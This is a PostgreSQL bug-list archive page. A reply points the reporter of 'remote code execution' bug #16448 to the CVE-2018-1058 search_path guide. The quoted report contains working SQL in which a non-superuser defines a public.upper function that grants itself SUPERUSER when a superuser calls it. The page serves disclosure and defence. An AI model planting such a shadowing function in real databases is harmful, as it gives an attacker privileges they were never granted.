From: Heikki Linnakangas <hlinnaka@iki.fi>
To: abcxiaod@126.com, pgsql-bugs@lists.postgresql.org, PG Bug reporting form <noreply@postgresql.org>
Subject: Re: BUG #16448: Remote code execution vulnerability
Date: Mon, 18 May 2020 12:49:51 +0300
Message-ID: <8adfb8f8-91f0-1dd5-15c0-12cdba61b191@iki.fi> (raw)
In-Reply-To: <16448-b1ae7a058a160c8e@postgresql.org>
References: <16448-b1ae7a058a160c8e@postgresql.org>
On 18/05/2020 12:14, PG Bug reporting form wrote:
> The following bug has been logged on the website:
>
> Bug reference: 16448
> Logged by: yi Ding
> Email address: abcxiaod@126.com
> PostgreSQL version: 10.12
> Operating system: linux
> Description:
>
> A common user created a function in the public space and added some
> malicious codes in the function, when other users with superuser rights call
> this function, the malicious code will be executed , so as to achieve the
> purpose of remote malicious code execution.
>
> First, Non-superuser lh defines a function named upper, which contains
> the statement to modify user permissions.
> SQL:
> CREATE TABLE public.testlh AS SELECT ‘lh’::varchar AS contents;
> CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
> ALTER ROLE lh SUPERUSER;
> SELECT pg_catalog.upper($1);
> $$ LANGUAGE SQL VOLATILE;
>
> Second, Superuser pg01 will execute the above statement after calling the
> upper function, whice will change user lh to a super user.
See
https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058%3A_Protect_Your_Search_Path
- Heikki
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Reply to all the recipients from your mail client; the link fills in
the headers below: reply via email
Some clients, webmail especially, drop In-Reply-To and References from
a link, and the reply then starts a new thread: use the mbox below.
To: pgsql-bugs@postgresql.org
Cc: hlinnaka@iki.fi, noreply@postgresql.org
Subject: Re: BUG #16448: Remote code execution vulnerability
In-Reply-To: <8adfb8f8-91f0-1dd5-15c0-12cdba61b191@iki.fi>
References: <16448-b1ae7a058a160c8e@postgresql.org> <8adfb8f8-91f0-1dd5-15c0-12cdba61b191@iki.fi>
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
This inbox is served by DDX for PostgreSQL; see mirroring instructions
for how to clone and mirror all data and code used for this inbox